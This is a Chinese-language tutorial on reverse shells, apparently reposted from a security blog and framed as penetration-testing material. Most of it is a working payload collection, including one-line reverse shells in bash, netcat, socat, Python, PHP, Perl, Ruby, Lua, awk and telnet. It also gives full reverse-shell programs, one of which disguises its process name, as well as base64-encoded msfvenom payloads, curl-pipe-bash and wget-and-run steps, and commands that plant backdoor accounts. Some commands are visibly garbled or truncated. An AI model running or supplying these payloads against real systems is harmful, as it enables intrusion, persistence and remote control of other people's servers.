反弹shell原理与实现

webshell是黑客入侵网站服务器的常用手段。在使用webshell对Linux网站服务器进行入侵提权的过程中,如果直接在webshell中执行漏洞利用程序,由于缺少可交互的环境,不能连续执行命令,即使提权成功也无法利用。

因此,黑客首先要反弹一个shell命令行窗口,从而获得一个类似于合法登录的交互操作终端,然后在shell终端下执行漏洞利用程序进行提权,将自己的权限从普通用户权限提升到超级特权用户权限。提权成功后,以超级特权用户的身份,继续在shell终端下执行后继攻击命令。因此,对Linux下反弹shell的攻击防御需求必不可少。

一、反弹shell简介

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那假如发生了被控端因防火墙受限、权限不足、端口被占用等情形,正向连接不能用了呢?所以这时候反弹连接就出场了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

二、反弹原理

我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景。

场景一

我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的直接下载安装一个,具体开启监听的命令如下。

(1) 安装netcat

这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以我们需要手动下载二进制安装包,自己动手丰衣足食了,具体过程如下。

原生版本netcat链接:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

# 第一步:下载二进制netc安装包
root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz 
# 第二步:解压安装包
root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
# 第三步:编译安装
root@home-pc# ./configure
root@home-pc# make
root@home-pc# make install
root@home-pc# make clean
# 具体编译安装过程可以直接参见INSTALL安装说明文件内容...
# 第四步:在当前目录下运行nc帮助
root@home-pc:/tmp/netcat-0.7.1# nc -h
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  nc [options] hostname port [port] ...
listen for inbound:    nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect
  -g, --gateway=LIST         source-routing hop point[s], up to 8
  -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
  -h, --help                 display this help and exit
  -i, --interval=SECS        delay interval for lines sent, ports scanned
  -l, --listen               listen mode, for inbound connects
  -L, --tunnel=ADDRESS:PORT  forward local port to remote address
  -n, --dont-resolve         numeric-only IP addresses, no DNS
  -o, --output=FILE          output hexdump traffic to FILE (implies -x)
  -p, --local-port=NUM       local port number
  -r, --randomize            randomize local and remote ports
  -s, --source=ADDRESS       local source address (ip or hostname)
  -t, --tcp                  TCP mode (default)
  -T, --telnet               answer using TELNET negotiation
  -u, --udp                  UDP mode
  -v, --verbose              verbose (use twice to be more verbose)
  -V, --version              output version information and exit
  -x, --hexdump              hexdump incoming and outgoing traffic
  -w, --wait=SECS            timeout for connects and final net reads
  -z, --zero                 zero-I/O mode (used for scanning)
Remote port number can also be specified as range.  Example: '1-1024'

至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网了。

(2) 开启本地监听

# 开启本地8080端口监听,并将本地的bash发布出去。
nc -lvvp 8080 -t -e /bin/bash
#经过我测试 nc -lvnp 8080没有问题

(3) 直接连接目标主机

root@kali:~# nc 192.168.31.174 8080 -t -e /bin/bash
whoami
root
w
 22:57:36 up  1:24,  0 users,  load average: 0.52, 0.58, 0.59
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHA

命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.174)。

不能使用-e选项时:

mknod backpipe p && nc attackerip 8080 0backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

(4) shell反弹成功

此时我们再回到外网主机,我们会发现tcp 8080监听已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境。

反弹shell原理与实现_第1张图片

场景二

目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。

bash 直接反弹

bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

(1)攻击端监听一个端口:

[root@hacker ~]# nc -lvp 8080
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

(2)受害端bash反弹一句话:

bash -i >& /dev/tcp/192.168.31.41/8080 0>&1

bash一句话命令详解

以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

1. nc -lvp 8080

 -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

4.0>&1

将标准的输入与标准输出内容相结合,然后重定向给前面标准输出的内容。

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

(3)攻击端获取到受害端的bash

[root@hacker ~]# nc -lvp 8080
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.31.41
[root@victim ~]#         //攻击端已获得受害端的远程交互式shell
[root@victim ~]# hostname
hostname
victim
 

场景三

在使用shell环境获取的过程中遇到的问题孕育出来的,大家如果经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。

问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。

问题2:标准的错误输出无法显示,无法正常使用vim等文本编辑器等;

问题3: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

linux 一句话添加账户

不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。

chpasswd 方法

(1)执行语句

useradd newuser;echo "newuser:password"|chpasswd

(2)操作实例

root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
root@ifly-21171:~# vim /etc/shadow

sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::

useradd -p 方法

(1) 执行语句

useradd -p encrypted_password newuser

(2) 操作实例

root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h8S5msqJLVTfo:17425:0:99999:7:::

(3) 相同方法其他实现

相同方法不同实现一

root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
root@ifly-21171:~#

相同方法不同实现二

user_password="`openssl passwd 123456`"
useradd -p "$user_password" guest

echo -e 方法

(1)执行语句

useradd newuwer;echo -e "123456n123456n" |passwd newuser

(2) 操作实例

root@ifly-21171:~# useradd test;echo -e "123456n123456n" |passwd test
Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h/UnnFIjqKogw:17425:0:99999:7:::
test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:::

python 标准虚拟终端获取

我们通过各种方式获取的shell经常不稳定或者没有交互界面的原因,往往都是因为我们获取的shell不是标准的虚拟终端,此时我们其实可以借助于python来获取一个标准的虚拟终端环境。python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

python 一句话获取标准shell

使用python 一句话获取标准shell的具体命令如下:

# python -c "import pty;pty.spawn('/bin/bash')"

命令详解:python 默认就包含有一个pty的标准库。

1. -c

命令行执行

2.import pty

引入标准库pty

3.pty.spawn

使用pty的spawn方法调用/bin/bash获取一个标准的shell

实例演示

(1)开启监听;(2)反弹shell;(3)会话建立的过程这里不在重复演示了,这里直接贴出笔者获取到反弹shell后的问题后,如何通过python获取标准shell的过程截图展现如下。

反弹shell原理与实现_第2张图片

虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善,相信会做的更好。

大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用Python虚拟化一个终端相信会让你眼前一亮。

三、反弹shell实现方式

以下脚本反弹一句话的使用方法都是一样的,只要在攻击机在本地开启 TCP 8080监听,然后在远端靶机上运行以下任意一种脚本语句,即可把靶机的bash反弹给攻击主机的8080端口(当然前提条件是目标主机上要有响应的脚本解析环境支持,才可以使用,相信这点大家肯定都是明白的)。

通常使用的有netcat工具反弹 socat反弹bash 直接反弹 python脚本反弹 JAVA脚本反弹 perl脚本反弹等

1、bash反弹shell

第一步:攻击机【192.168.67.188】, 开启本地端口监听 nc -lvvp 8888:

反弹shell原理与实现_第3张图片

第二步:靶向机【192.168.67.190】

bash -i >& /dev/tcp/192.168.67.188/8888 0>&1
Or   
bash -c 'sh -i &>/dev/tcp/192.168.67.188/8888 0>&1'​​​​​​​​​​​​​​

bash -i是打开一个交互的bash,产生一个bash交互环境。本地打开bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程。

执行完攻击命令之后,返回攻击机可看到反弹shell成功。exec命令可以用来替代当前shell;换句话说,并没有启动子shell,使用这一条命令时任何现有环境变量将会被清除,并重新启动一个shell。

exec 5<>/dev/tcp/evil.com/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

 另外还可以是:

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
/bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1

研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功。

2、socat 反弹一句话

Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。

有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

第一步:攻击机上开启监听

# socat TCP-LISTEN:12345 -

反弹shell原理与实现_第4张图片

第二步:​​​​​​​靶机上运行socat反弹shell

# /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.174:12345

反弹shell原理与实现_第5张图片

第三步:shell 反弹成功

反弹shell原理与实现_第6张图片

3、python脚本反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

显示为sh-4.1#

另外的形式:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

py脚本:

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

另外Metasploit版的代码:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

base64解码:

import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

4、php 脚本反弹

php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

另外的形式:

开启kail监听端口

反弹shell原理与实现_第7张图片

成功反弹,不过这里要将php保存成txt文件进行反弹,若为php文件不会反弹成功。

php脚本:

&3 2>&3");
?>

5、Java 脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

msf使用为:use payload/java/shell/reverse_tcp

再见一段长代码:

import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet;

public class poc extends Applet{
    /**
     * Author: daniel baier alias duddits
     * Licens: GPL
     * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
     * Version: 0.1 alpha release
     */

    public String cd(String start, File currentDir) {
        File fullPath = new File(currentDir.getAbsolutePath());
        String sparent = fullPath.getAbsoluteFile().toString();
        return sparent + "/" + start;

        }

    @SuppressWarnings("unchecked")
    public void init() {
        poc rs = new poc();
        PrintWriter out;
        try {
            Socket clientSocket = new Socket("192.168.5.222",10003);
            out = new PrintWriter(clientSocket.getOutputStream(), true);
            out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
            boolean run = true;
            String s;
            BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
            String startort = "/";
            while (run) {
                String z1;
                File f = new File(startort);
                out.println(f.getAbsolutePath() + "> ");
                s = br.readLine();
                z1 = s;
                Pattern pcd = Pattern.compile("^cd\\s");
                Matcher mcd = pcd.matcher(z1);
                String[] teile1 = pcd.split(z1);
                if (s.equals("exit")) {
                    run = false;
                }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

                } else if(mcd.find()){
                    try {
                        String cds = rs.cd(teile1[1], new File(startort));
                        startort = cds;
                        } catch (Exception verz) {
                        out.println("Path " + teile1[1]
                        + " not found.");
                        }

                }else {

                    String z2;


                    z2 = s;
                    Pattern pstring = Pattern.compile("\\s");
                    String[] plist = pstring.split(z2);

                    try {

                        LinkedList slist = new LinkedList();
                        for (int i = 0; i < plist.length; i++) {
                            slist.add(plist[i]);
                        }

                        ProcessBuilder builder = new ProcessBuilder(slist);
                        builder.directory(new File(startort));
                        Process p = builder.start();
                        Scanner se = new Scanner(p.getInputStream());
                        if (!se.hasNext()) {
                            Scanner sa = new Scanner(p.getErrorStream());
                            while (sa.hasNext()) {
                                out.println(sa.nextLine());
                            }
                        }
                        while (se.hasNext()) {
                            out.println(se.nextLine());
                        }


                    } catch (Exception err) {
                        out.println(f.getAbsolutePath() + "> Command "
                                + s + " failed!");
                        out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                    }

                }
            }

            if(!clientSocket.isConnected()){
                run = false;
                out.flush();
                out.close();
            }

        } catch (Exception io) {
            //System.err.println("Connection refused by peer");
        }

    }

}

6、perl 脚本反弹

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的。

不依赖于/bin/sh的shell,这条语句比上面的更为简短,而且确实不需要依赖/bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

系统运行windows时,会提示现windows上暂时没装Perl。

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

完整的Perl的反弹脚本:

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '127.0.0.1';
my $port = 1234;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "

\n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page; }

7、Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i<&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

当然还有我们很熟悉的MSF模块里面也是有反弹shell的:

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Set the Remote Host IP
RHOST = "192.168.1.10" 
#Set the Remote Host Port
PORT = "6667"

#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
  sleep 20
  retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
  while line = sock.gets
    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
              IO.copy_stream(stdout_and_stderr, sock)
              end  
  end
rescue
  retry
end

8、lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.1.19','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

msf反弹:

use payload/cmd/unix/reverse_lua

9、Telnet 

nc不可用或/dev/tcp不可用时。

mknod backpipe p && telnet attackerip 8080 0backpipe

这里mknod是创建特殊文件-设备文件。

10、Xterm

首先开启Xserver,TCP 6001:

Xnest :1               # Note: The command starts with uppercase X

授予目标机连回来的权限:

xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server

如果想让任何人都连上:

xhost +                     # Run this INSIDE the spawned xterm on the open X Server

假设xterm已安装,连回你的Xserver:

xterm -display attackerip:1

或者:

$ DISPLAY=attackerip:0 xterm

11、gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

12、AWK反弹

攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开。

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

13、curl反弹shell

前提要利用bash一句话的情况下使用curl反弹shell。

在存在命令执行的服务器上执行curl ip|bash,该ip的index文件上含有bash一句话,就可以反弹shell。

例如在自己的服务器index上写上一句话:

bash -i >& /dev/tcp/192.168.20.151/7777 0>&1

192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。

反弹shell原理与实现_第8张图片

存在一句话,利用curl反弹。

kali开启监听:

反弹shell原理与实现_第9张图片

14、wget方式反弹

利用wget进行下载执行:

wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面贴出的php进行反弹。

开启监听:

反弹shell原理与实现_第10张图片

反弹shell原理与实现_第11张图片

成功反弹shell。

12、msfvenom 获取反弹一句话

学习过程中发现其实强大的MSF框架也为我们提供了生成一句话反弹shell的工具,即msfvenom。绝对的实用,当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,随时我们都可以使用msfvenom -l 来查询生成我们所需要的各类命令行一句话,具体使用方法为各位看官老爷们收集如下。

查询 payload 具体路径:

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。

# msfvenom -l payloads 'cmd/unix/reverse'

反弹shell原理与实现_第12张图片

查看以上截图,我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富,这里几乎是应有尽有,大家可以依据渗透测试对象自行选择使用。

bash 反弹一句话生成:

依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R

 阉割版nc反弹一句话生成:

# root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R

剩下的就是将生成的payload 反弹一句话直接复制到靶机上直接运行即反弹一个shell出来。

msfvenom 使用实例:

(1) 开启攻击机监听

在攻击机上开启本地 TCP 12345 端口监听,准备监听机上的会话反弹,查看如下截图可以看到本地TCP 12345 端口监听已经开启。

反弹shell原理与实现_第13张图片

(2) 获取python一句话

我们此时可以借助于MSF框架平台的msfvenom 工具自动生成一个python 反弹一句话,具体操作请参加如下截图。(当然这里的前提条件是靶机上安装有python环境,现在默认一般的linux发行版默认都安装有python环境。)

反弹shell原理与实现_第14张图片

 (3) 靶机上运行python一句话

python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAgLCBzdWJwcm9jZXNzICAgICAgICAsIG9zICAgICAgICA7ICBob3N0PSIxOTIuMTY4LjMxLjIwMCIgICAgICAgIDsgIHBvcnQ9MTIzNDUgICAgICAgIDsgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAgICAgLCBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgICA7ICBzLmNvbm5lY3QoKGhvc3QgICAgICAgICwgcG9ydCkpICAgICAgICA7ICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgICwgMCkgICAgICAgIDsgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAgLCAxKSAgICAgICAgOyAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICAsIDIpICAgICAgICA7ICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"

直接将上面msfvenon 生成的 python 一句话复制到靶机webshell上运行即可,我这里为演示方便,直接贴了一张使用kali做为靶机运行的截图。

反弹shell原理与实现_第15张图片

 (4) 攻击监听接受反弹情况

反弹shell原理与实现_第16张图片​​​​​​​

你可能感兴趣的:(Web安全,渗透测试,APT,应急响应,安全)